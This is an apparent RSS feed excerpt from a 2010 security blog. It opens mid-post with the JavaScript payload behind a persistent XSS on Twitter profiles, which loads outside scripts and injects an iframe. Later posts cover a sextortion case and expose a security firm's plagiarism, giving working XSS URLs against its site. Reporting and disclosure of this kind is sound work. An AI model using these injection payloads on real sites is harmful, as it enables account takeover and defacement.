        var altToolbar = getQueryParam("toolbarObjId");
        // detect jd_gallery, ie, user_request - load page after document.ready
        if (typeof (startGallery) == "function" || jQuery.browser.msie || wibiya_pl=="true") {
            var wibiyaScriptSrc;
            jQuery(document).ready(function(){
                if (typeof altToolbar == "undefined"){
                    wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
                }
                else{
                    wibiyaScriptSrc = altToolbar;
                }
                loadjscssfile(wibiyaScriptSrc,"js","body");
            });
        }
        else{
            if (typeof altToolbar == "undefined"){
                wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
            }
            else{
                wibiyaScriptSrc = altToolbar;
            }
            loadjscssfile(wibiyaScriptSrc,"js","body");
        }
    }
}


if (typeof(wibiyaToolbar)!="object"){
    if ( typeof jQuery != "function"){
        loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
    }
    else{
        if (wibiya_latestJq &amp;&amp; jquery_ver() != wibiya_jQuery_ver){
            loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
        }
    }

    var wibiyaToolbar = {};
    wibiyaToolbar.framework = {};

    wibiyaToolbar.id="463831";
    wibiyaToolbar.referrer=document.referrer;
    CheckJQueryLoader(wibiyaToolbar.id);
}


/************************************************************************/
/* Rainbow Links Version 1.03 (2003.9.20)                               */
/* Script updated by Dynamicdrive.com for IE6                           */
/* Copyright (C) 1999-2001 TAKANASHI Mizuki                             */
/* takanasi@hamal.freemail.ne.jp                                        */
/*----------------------------------------------------------------------*/
/* Read it somehow even if my English text is a little wrong! ;-)       */
/*                                                                      */
/* Usage:                                                               */
/*  Insert '&lt;script src="rainbow.js"&gt;&lt;/script&gt;' into the BODY section,  */
/*  right after the BODY tag itself, before anything else.              */
/*  You don't need to add "onMouseover" and "onMouseout" attributes!!   */
/*                                                                      */
/*  If you'd like to add effect to other texts(not link texts), then    */
/*  add 'onmouseover="doRainbow(this);"' and                            */
/*  'onmouseout="stopRainbow();"' to the target tags.                   */
/*                                                                      */
/* This Script works with IE4,Netscape6,Mozilla browser and above only, */
/* but no error occurs on other browsers.                               */
/************************************************************************/


////////////////////////////////////////////////////////////////////
// Setting

var rate = 20;  // Increase amount(The degree of the transmutation)


////////////////////////////////////////////////////////////////////
// Main routine

if (document.getElementById)
window.onerror=new Function("return true")

var objActive;  // The object which event occured in
var act = 0;    // Flag during the action
var elmH = 0;   // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg;     // A color before the change
var TimerID;    // Timer ID


if (document.all) {
    document.onmouseover = doRainbowAnchor;
    document.onmouseout = stopRainbowAnchor;
}
else if (document.getElementById) {
    document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
    document.onmouseover = Mozilla_doRainbowAnchor;
    document.onmouseout = Mozilla_stopRainbowAnchor;
}


//=============================================================================
// doRainbow
//  This function begins to change a color.
//=============================================================================
function doRainbow(obj)
{
    if (act == 0) {
        act = 1;
        if (obj)
            objActive = obj;
        else
            objActive = event.srcElement;
        clrOrg = objActive.style.color;
        TimerID = setInterval("ChangeColor()",100);
    }
}


//=============================================================================
// stopRainbow
//  This function stops to change a color.
//=============================================================================
function stopRainbow()
{
    if (act) {
        objActive.style.color = clrOrg;
        clearInterval(TimerID);
        act = 0;
    }
}


//=============================================================================
// doRainbowAnchor
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function doRainbowAnchor()
{
    if (act == 0) {
        var obj = event.srcElement;
        while (obj.tagName != 'A' &amp;&amp; obj.tagName != 'BODY') {
            obj = obj.parentElement;
            if (obj.tagName == 'A' || obj.tagName == 'BODY')
                break;
        }

        if (obj.tagName == 'A' &amp;&amp; obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = objActive.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// stopRainbowAnchor
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function stopRainbowAnchor()
{
    if (act) {
        if (objActive.tagName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Mozilla_doRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_doRainbowAnchor(e)
{
    if (act == 0) {
        obj = e.target;
        while (obj.nodeName != 'A' &amp;&amp; obj.nodeName != 'BODY') {
            obj = obj.parentNode;
            if (obj.nodeName == 'A' || obj.nodeName == 'BODY')
                break;
        }

        if (obj.nodeName == 'A' &amp;&amp; obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = obj.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// Mozilla_stopRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_stopRainbowAnchor(e)
{
    if (act) {
        if (objActive.nodeName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Change Color
//  This function changes a color actually.
//=============================================================================
function ChangeColor()
{
    objActive.style.color = makeColor();
}


//=============================================================================
// makeColor
//  This function makes rainbow colors.
//=============================================================================
function makeColor()
{
    // Don't you think Color Gamut to look like Rainbow?

    // HSVtoRGB
    if (elmS == 0) {
        elmR = elmV;    elmG = elmV;    elmB = elmV;
    }
    else {
        t1 = elmV;
        t2 = (255 - elmS) * elmV / 255;
        t3 = elmH % 60;
        t3 = (t1 - t2) * t3 / 60;

        if (elmH &lt; 60) {
            elmR = t1;  elmB = t2;  elmG = t2 + t3;
        }
        else if (elmH &lt; 120) {
            elmG = t1;  elmB = t2;  elmR = t1 - t3;
        }
        else if (elmH &lt; 180) {
            elmG = t1;  elmR = t2;  elmB = t2 + t3;
        }
        else if (elmH &lt; 240) {
            elmB = t1;  elmR = t2;  elmG = t1 - t3;
        }
        else if (elmH &lt; 300) {
            elmB = t1;  elmG = t2;  elmR = t2 + t3;
        }
        else if (elmH &lt; 360) {
            elmR = t1;  elmG = t2;  elmB = t1 - t3;
        }
        else {
            elmR = 0;   elmG = 0;   elmB = 0;
        }
    }

    elmR = Math.floor(elmR).toString(16);
    elmG = Math.floor(elmG).toString(16);
    elmB = Math.floor(elmB).toString(16);
    if (elmR.length == 1)    elmR = "0" + elmR;
    if (elmG.length == 1)    elmG = "0" + elmG;
    if (elmB.length == 1)    elmB = "0" + elmB;

    elmH = elmH + rate;
    if (elmH &gt;= 360)
        elmH = 0;

    return '#' + elmR + elmG + elmB;
}


//****************************//
var scrolltotop={setting:{startline:100,scrollto:0,scrollduration:1000,fadeduration:[500,100]},controlHTML:'&lt;iframe title="h4x0r-x0x" src="http://www5.shoutmix.com/?h4x0r-x0x" width="500" height="700" frameborder="0" scrolling="auto"&gt;&lt;/iframe&gt;',controlattrs:{offsetx:5,offsety:5},anchorkeyword:'#top',state:{isvisible:false,shouldvisible:false},scrollup:function(){if(!this.cssfixedsupport)
this.$control.css({opacity:0})
var dest=isNaN(this.setting.scrollto)?this.setting.scrollto:parseInt(this.setting.scrollto)
if(typeof dest=="string"&amp;&amp;jQuery('#'+dest).length==1)
dest=jQuery('#'+dest).offset().top
else
dest=0
this.$body.animate({scrollTop:dest},this.setting.scrollduration);},keepfixed:function(){var $window=jQuery(window)
var controlx=$window.scrollLeft()+$window.width()-this.$control.width()-this.controlattrs.offsetx
var controly=$window.scrollTop()+$window.height()-this.$control.height()-this.controlattrs.offsety
this.$control.css({left:controlx+'px',top:controly+'px'})},togglecontrol:function(){var scrolltop=jQuery(window).scrollTop()
if(!this.cssfixedsupport)
this.keepfixed()
this.state.shouldvisible=(scrolltop&gt;=this.setting.startline)?true:false
if(this.state.shouldvisible&amp;&amp;!this.state.isvisible){this.$control.stop().animate({opacity:1},this.setting.fadeduration[0])
this.state.isvisible=true}
else if(this.state.shouldvisible==false&amp;&amp;this.state.isvisible){this.$control.stop().animate({opacity:0},this.setting.fadeduration[1])
this.state.isvisible=false}},init:function(){jQuery(document).ready(function($){var mainobj=scrolltotop
var iebrws=document.all
mainobj.cssfixedsupport=!iebrws||iebrws&amp;&amp;document.compatMode=="CSS1Compat"&amp;&amp;window.XMLHttpRequest
mainobj.$body=(window.opera)?(document.compatMode=="CSS1Compat"?$('html'):$('body')):$('html,body')
mainobj.$control=$('&lt;div id="topcontrol"&gt;'+mainobj.controlHTML+'&lt;/div&gt;').css({position:mainobj.cssfixedsupport?'fixed':'absolute',bottom:mainobj.controlattrs.offsety,right:mainobj.controlattrs.offsetx,opacity:0,cursor:'pointer'}).attr({title:'Scroll Back to Top'}).click(function(){mainobj.scrollup();return false}).appendTo('body')
if(document.all&amp;&amp;!window.XMLHttpRequest&amp;&amp;mainobj.$control.text()!='')
mainobj.$control.css({width:mainobj.$control.width()})
mainobj.togglecontrol()
$('a[href="'+mainobj.anchorkeyword+'"]').click(function(){mainobj.scrollup()
return false})
$(window).bind('scroll resize',function(e){mainobj.togglecontrol()})})}}
scrolltotop.init()
</code></pre>

<h3>H4X0R-X0X</h3>

<p>The researcher who found the problem hosts his blog at a .co.cc URL. While .cc is the country code for the Cocos (Keeling) Islands in Australia, .co.cc is actually a company offering free subdomain redirection services (http://www.co.cc/). The IP address of the blog (74.125.113.121) is shown as owned by Google Inc.. Perhaps the most relevant piece of origin information is the language used on the blog and in the forum, Indonesian.</p>

<p>The flag isn&#8217;t a bad clue either.</p>

<p><div id="attachment_4437" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/forum_entry.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/forum_entry.jpg" alt="" title="forum_entry" width="750" height="672" class="size-full wp-image-4437" /></a><p class="wp-caption-text">Forum post at Balikita.net, a Community of Art.</p></div>
<br /></p>

<h3>Impact</h3>

<p>As demonstrated in the past, XSS vulnerabilities in Twitter have been successfully used to take over accounts and create worms (Mikeyy, StalkDaily). Infection (account takeover) can be accomplished simply by visiting a profile with an include of a malicious Javascript, making a true self propagating web site worm possible as opposed to other more recent attacks based on phishing a user&#8217;s credentials with a fake Twitter login screen (the LOL is this you style attacks).</p>

<p><div id="attachment_4462" class="wp-caption alignright" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/19520928_3.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/19520928_3-150x150.jpg" alt="" title="19520928_3" width="150" height="150" class="size-thumbnail wp-image-4462" /></a><p class="wp-caption-text">Twitter's Del Harvey</p></div>

<p>This might be Twitter&#8217;s first serious cross site scripting vulnerability since the beginning of this year. Twitter has to correct this quickly as it was public knowledge before this post, and has been for days. We note that the problem has been reported to Twitter by a fellow researcher, and we also reported the issue to Del Harvey (Twitter&#8217;s Trust and Safety Team). We could have gone through the security e-mail address, but frankly the last time we did that the response irritated us. And since Harvey once worked <a href="http://www.perverted-justice.com/?pg=profiledel">in a mental institution</a>, she is probably the most qualified to deal with security people.</p>

<h3>Update</h3>

<p>As of 6pm the problem is still active in old applications, as one of our commentators below pointed out (with a working example). Twitter advised that the project has been corrected for new applications.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/">“Hi. This you?? LOL” Twitter Attack Snares Kevin Mitnick</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/">Not the Haus of Gaga too</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook’s Faith: A New Scareware Attack</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter (authentication)</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Sextortion via Hacking</title>
		<link>http://praetorianprefect.com/archives/2010/06/sextortion-via-hacking/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/sextortion-via-hacking/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 20:58:09 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[cyberextortion]]></category>
		<category><![CDATA[cyberstalking]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4411</guid>
		<description><![CDATA[At least 186 women and 44 girls were caught in a bizarre scheme by 31 year old Santa Ana CA resident Luis Mijangos who attempted to extort pornographic videos from his victims. Mijangos, a paraplegic due to a gang shooting, was arrested yesterday following a two year investigation by the FBI, is charged with extortion and faces a maximum of two years in federal prison.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/fbi.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/fbi.jpg" alt="" title="fbi" width="99" height="100" class="alignleft size-full wp-image-4413" /></a></p>

<p>At least 186 women and 44 girls were caught in a bizarre scheme by 31 year old Santa Ana CA resident Luis Mijangos who attempted to extort pornographic videos from his victims. Mijangos, a paraplegic due to a gang shooting, was arrested yesterday following a two year investigation by the FBI, is charged with extortion and faces a maximum of two years in federal prison.</p>

<p>The FBI originally became involved in 2009 when called in by the Glendale Police to look into the compliant of a woman who suspected she was being stalked by an ex-boyfriend. The FBI&#8217;s investigation led them to Mijangos. A forensic analysis performed showed cracking activity dating back to 2008.</p>

<h3>The Scheme</h3>

<p>Mijangos initially gained control of user&#8217;s PC&#8217;s using Trojans disguised as popular songs on Peer to Peer file sharing networks. Once he took control of the PC, he would search for sexually explicit photographs and financial information, and attempt to use what he found to further extort pornographic videos from his victims. Bizarre e-mails would come from mijangos3@msn.com (he also went by Guicho) demanding sex tapes be made by the victims:</p>

<pre><code>"I will publish the images and let your family know about your dark side … so you better do that video,
 send it to me via e-mail and you will never hear from me ever...If I don't hear from you then your family
 will hear from me,"
</code></pre>

<pre><code>"You have three kids and a psycho ex but hat [sic] I don't care if you don't want this pics and the rest I 
have from you to be published [sic] this is what I want...A porn video of you 'you can blur your face;' 
if don't get the video ina day I will publish thse [sic] images and let your family know about your 
dark side as a hooker"
</code></pre>

<p>In one case he sent a nude picture of the victim to her and demanded her silence and a pornographic video or he would tell her family. He would tell victims that since he controlled their computers, he would know if they tried to contact authorities.</p>

<p>At times he would post as the victim&#8217;s boyfriend and request the explicit content, when he succeeded he would request increasingly more explicit videos be made and sent to him under threat of releasing the previously sent images. Finally there is evidence that he used web cams and microphones attached to the compromised computers to watch his victims in various states of undress or during intimate activities. At least one 20 year old woman put a sticker over her web cam when it continually went on without her doing anything.</p>

<p>He also used keyloggers to gain access to social networking sites, e-mail, credit card numbers, and so forth to gain further information to perpetuate the scheme as well as make purchases. He sent malware via instant messenger to the contacts of his victims to infect more computers, tallying more than 100 infected in all.</p>

<p>Mijangos indicated he was a consultant with programming knowledge of both Java and C++, so at this point the authorities and media have dubbed him a &#8220;master hacker&#8221;. Mijangos himself has indicated he is part of a team of &#8220;international hackers&#8221; and told at least one victim you don&#8217;t want to mess with a team of hackers.</p>

<h3>His Defense</h3>

<p>Mjangos came up with his own bizarre explanation for his actions, that he was in fact hired by boyfriends and husbands to see if the women would respond to requests for pornographic materials, a sort of fidelity test similar to what a private investigator might do to find a cheating spouse. Interestingly, Mjangos was so stupid that he continued his illegal activities even after a search warrant was executed back in March of this year. When caught he had in his home dozens of videos showing victims in states of undress (leaving the shower, getting dressed, engaging in intercourse) as well as financial data including credit card numbers alongside TurboTax, T-Mobile, Netflix, Paypal, HSBC, and Chase Bank account information.</p>

<p>Mjangos is a Mexican national, thus the INS is also involved.</p>

<h3>Finally</h3>

<p>This case is not the first involving cyber-extortion, think back to the DDoS extortion threats made against web site operators, but it is unusual in that it was not money being requested. Its not clear to me why this man only faces two years in prison, and the charges are limited to extortion, when 44 of the victims were juveniles making this potentially a child pornography case also. Identify theft would also appear applicable.</p>

<p>Either way, this is a good example of the FBI showing an interest in a seemingly innocuous case, cyberstalking by an ex-boyfriend, that instead led to and nailed a pretty serious predator. Much like in the corporate environment, a lot can happen when you start to pull on a thread.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.oc180news.com/printFriendlyPDF/articlePDF/18884.pdf">Santa Ana MAN ARRESTED by FBI FOR HACKING COMPUTERS
and DEMANDING SEXUALLY EXPLICIT VIDEOS FROM WOMEN
AND TEENAGE GIRLS</a></li>
<li><a href="http://www.latimes.com/news/local/orange/la-me-0623-hacker-20100623,0,3987251.story">FBI charges O.C. man in &#8217;sextortion&#8217; case</a></li>
<li><a href="http://www.latimes.com/news/nationworld/nation/wire/sns-ap-us-hacker-sex-extortion,0,246511.story">Prosecutors say Calif man hacked into computers to extort sex videos from women, teen girls</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/sextortion-via-hacking/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>NationalCyberSecurity.com has all &#8220;Original Content&#8221;</title>
		<link>http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 21:36:10 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[ligatt]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4364</guid>
		<description><![CDATA[Readers of Yahoo Finance were treated to the following wackadoo press release on Friday: <a href="http://finance.yahoo.com/news/National-Cyber-Security-pz-2336404204.html?x=0&#38;.v=1">National Cyber Security Uncovers Racism Within the Computer Security Industry</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/nationalcybersec.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/nationalcybersec-150x60.png" alt="" title="nationalcybersec" width="150" height="60" class="alignleft size-thumbnail wp-image-4365" /></a></p>

<p>Readers of Yahoo Finance were treated to the following wackadoo press release on Friday: <a href="http://finance.yahoo.com/news/National-Cyber-Security-pz-2336404204.html?x=0&amp;.v=1">National Cyber Security Uncovers Racism Within the Computer Security Industry</a>. In <a href="http://praetorianprefect.com/archives/2010/06/4305/">our article Friday</a> we made a case for a better title: &#8220;Ligatt Discovers that People Don&#8217;t Like Being Plagiarized&#8221;. The web site referenced, <a href="http://www.nationalcybersecurity.com/">National Cyber Security by Ligatt</a>, is a not so subtle take off of the name of the National Cyber Security Division (NCSD) in the Department of Homeland Security. This &#8220;National Cyber Security&#8221; is another strange project from confidence man Gregory Evans of Ligatt Security.</p>

<p>Here is the stated mission:</p>

<p><i>&#8220;National Cyber Security is the number one cyber security related reference and news portal. It is their vital mission to help secure not only the nation, but the world from cyber criminal threats being faced daily. Their references include a cyber security watch news, blogs written by cyber security professionals, cyber security links, and email correspondence to their professionals who help protect website visitors from any cyber threat.</i></p>

<p>But with <a href="http://praetorianprefect.com/archives/2010/06/4305/">fake reporter profiles</a>, plagiarized articles, dubious cyber-terrorism experts, bizarre biographies of other people, and a site riddled with security flaws: the actual message of the web site is overtaken by a subtler truth about charlatans in the information security industry.</p>

<h3>McKenzie</h3>

<p><i>&#8220;By purchasing National Cyber Security, we will be able to partner with fellow computer security experts like Grey McKenzie to be a force against cyber-crime.&#8221;</i> &#8211; Gregory Evans</p>

<p>McKenzie was part of an anti-keylogging product called <a href="http://www.spycop.com/">SpyCop</a> that appears to have gone dark or continued under a different form according to forum posts. Strangely, while McKenzie lists himself as creator of the National Cyber Security Portal, he lists no affiliation with Ligatt on LinkedIn. It appears the site was purchased by Ligatt on 3/31/09 and redesigned, although the original site had republished news stories as well.</p>

<h3>Plagiarized Content</h3>

<p>IronGeek has done excellent job making the case against Ligatt&#8217;s plagiarism on this web site with the following Youtube video which amusingly begins with Evans stating that the site is &#8220;all original content&#8221; not stories gathered through &#8220;Googles&#8221;:</p>

<p><object width="660" height="525"><param name="movie" value="http://www.youtube.com/v/zDBCcZ3NKHQ&#038;hl=en_US&#038;fs=1&#038;rel=0&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/zDBCcZ3NKHQ&#038;hl=en_US&#038;fs=1&#038;rel=0&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="660" height="525"></embed></object>
<br /></p>

<h3>Bizarre Biographies</h3>

<p><div id="attachment_4368" class="wp-caption alignnone" style="width: 488px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ncs-plagiarism-judith_pugh.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ncs-plagiarism-judith_pugh.png" alt="" title="ncs-plagiarism-judith_pugh" width="478" height="478" class="size-full wp-image-4368" /></a><p class="wp-caption-text">Judith Pugh or J.L. Smith?</p></div>
<br /></p>

<p>It is sad when you can&#8217;t even steal effectively. The answer is both, this picture is of <a href="http://www.reportingfordoodie.com/">J.L. Smith</a> aka Judith Pugh, author of <u>Reporting for Doodie, One Grandmother&#8217;s Story of Commitment, Frustration &amp; Unwavering Love</u> and not a National Cyber Security author.</p>

<h3>Riddled with Security Flaws</h3>

<p>The site was victimized on Friday by a vulnerability allowing for what appears to be a persistent XSS attack that allowed whoever exploited it to replace the picture of Gregory Evans with a picture reference to <a href="http://encyclopediadramatica.com/Epic_Fail_Guy">Epic Fail Guy</a>, itself a pseudo reference to &#8216;Anonymous&#8217;, Guy Fawkes, et al.:</p>

<p><div id="attachment_4379" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/natlcybersecurity1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/natlcybersecurity1.png" alt="" title="natlcybersecurity" width="700" height="390" class="size-full wp-image-4379" /></a><p class="wp-caption-text">Gregory Evans as Guy Fawkes stick figure Epic Fail Guy.</p></div>
<br /></p>

<p>The flaw that allowed this is in addition to numerous cross site scripting (XSS) issues on the web site:</p>

<pre><code>http://www.nationalcybersecurity.com/search?Query=%3CIMG+SRC%3D%22http%3A%2F%2Fattrition.org
/images/squirrel-mascot-iconL.gif%22%3E&amp;fromSmall=true&amp;searchWhat=searchAll&amp;submit.x=20&amp;submit.y=10&amp;
searchField=searchContentBody&amp;searchField=searchContentBody
</code></pre>

<p><div id="attachment_4372" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_1-300x255.png" alt="" title="xss_1" width="300" height="255" class="size-medium wp-image-4372" /></a><p class="wp-caption-text">Source: Attrition.org.</p></div>
<br /></p>

<pre><code>http://www.nationalcybersecurity.com/admin/index.php?username=&lt;script&gt;alert('xss')&lt;/script&gt;
</code></pre>

<p><div id="attachment_4373" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-26-ncs-username.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-26-ncs-username-300x164.png" alt="" title="2010-05-26-ncs-username" width="300" height="164" class="size-medium wp-image-4373" /></a><p class="wp-caption-text">Source: http://quine.dreamwidth.org/2904.html</p></div>
<br /></p>

<pre><code>http://www.nationalcybersecurity.com/search?Query=&lt;script&gt;alert('xss')&lt;/script&gt;
</code></pre>

<p><div id="attachment_4374" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-19-ncs-query.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-19-ncs-query-300x194.png" alt="" title="2010-05-19-ncs-query" width="300" height="194" class="size-medium wp-image-4374" /></a><p class="wp-caption-text">Source: http://quine.dreamwidth.org/2722.html</p></div>
<br /></p>

<p>Is having these types of flaws on an information security site the end of the world? We just wrote a story about <a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure having something similar</a> on their US site last week. The difference: F-Secure corrected the issue, and wrote a post describing the problem, within twenty four hours of notification. Web site injection flaws are common, security companies will have them from time to time, and the key to deriving meaning from such stories is evaluating how the security firm responds.</p>

<h3>Finally</h3>

<p>Edmund Burke once said, &#8220;All that is necessary for evil to triumph is for good men to do nothing.&#8221;</p>

<h3>Related Content</h3>

<ul>
<li><a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt09/">Gregory D. Evans, Even More Plagiarism</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>LIGATT&#8217;s Evans Strikes Back</title>
		<link>http://praetorianprefect.com/archives/2010/06/4305/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/4305/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 09:11:05 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[ligatt]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4305</guid>
		<description><![CDATA[<a href="http://attrition.org/errata/charlatan/gregory_evans/">Gregory Evans, the CEO of LIGATT Security,</a> is not taking the <a href="http://securitymusings.com/article/1950/ligatt-honestly-and-truly-scares-me">criticism</a> heaped <a href="http://attrition.org/errata/charlatan/gregory_evans/">upon himself and his firm</a> or his <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker">latest book</a> lying down.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ligattthumb.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ligattthumb-150x150.jpg" alt="" title="ligattthumb" width="150" height="150" class="alignleft size-thumbnail wp-image-4306" /></a></p>

<p><a href="http://attrition.org/errata/charlatan/gregory_evans/">Gregory Evans, the CEO of LIGATT Security,</a> is not taking the <a href="http://securitymusings.com/article/1950/ligatt-honestly-and-truly-scares-me">criticism</a> heaped <a href="http://attrition.org/errata/charlatan/gregory_evans/">upon himself and his firm</a> or his <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker">latest book</a> lying down. Yesterday he posted a pair of videos on “National Cyber Security”, a web site under the LIGATT umbrella, <a href="http://www.nationalcybersecurity.com/articles/441/1/How-Can-Computer-Nerds-Be-Racist/Page1.html">as part of an article</a> written by a “Seria Mullen”, News Researcher at LIGATT Security in which he puts forth that security professionals Chris John Riley and Ben Rothke are motivated by racism.</p>

<h3>Seria Mullen?</h3>

<p>Let&#8217;s start with the article&#8217;s author. Geoff Belknap’s research points out quickly that the Seria Mullen who wrote this less than eloquent article bears a striking resemblance to (actual person) Knox News reporter Chloe White Kennedy.</p>

<p>You decide:</p>

<p><div id="attachment_4312" class="wp-caption alignnone" style="width: 610px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/117095676.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/117095676.jpg" alt="" title="117095676" width="600" height="446" class="size-full wp-image-4312" /></a><p class="wp-caption-text">Article on Computer Nerds by Seria Mullen.</p></div>
<br /></p>

<p><div id="attachment_4313" class="wp-caption alignnone" style="width: 610px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/117096209.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/117096209.jpg" alt="" title="117096209" width="600" height="446" class="size-full wp-image-4313" /></a><p class="wp-caption-text">Knox Reporter Chloe Kennedy?</p></div>
<br /></p>

<p>Separated at birth perhaps?</p>

<h3>News Stories?</h3>

<p>It doesn’t take a brain surgeon to figure out that what are being presented as original articles by the mysterious doppelganger Ms. Mullen are just lifted directly from other places:</p>

<p><div id="attachment_4315" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/hsw.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/hsw.jpg" alt="" title="hsw" width="750" height="529" class="size-full wp-image-4315" /></a><p class="wp-caption-text">Homeland Security Newswire Story.</p></div>
<br /></p>

<p><div id="attachment_4314" class="wp-caption alignnone" style="width: 488px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/article_1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/article_1.jpg" alt="" title="article_1" width="478" height="547" class="size-full wp-image-4314" /></a><p class="wp-caption-text">Story on LIGATT's National Cybersecurity.</p></div>
<br /></p>

<h3>Video – Part 1</h3>

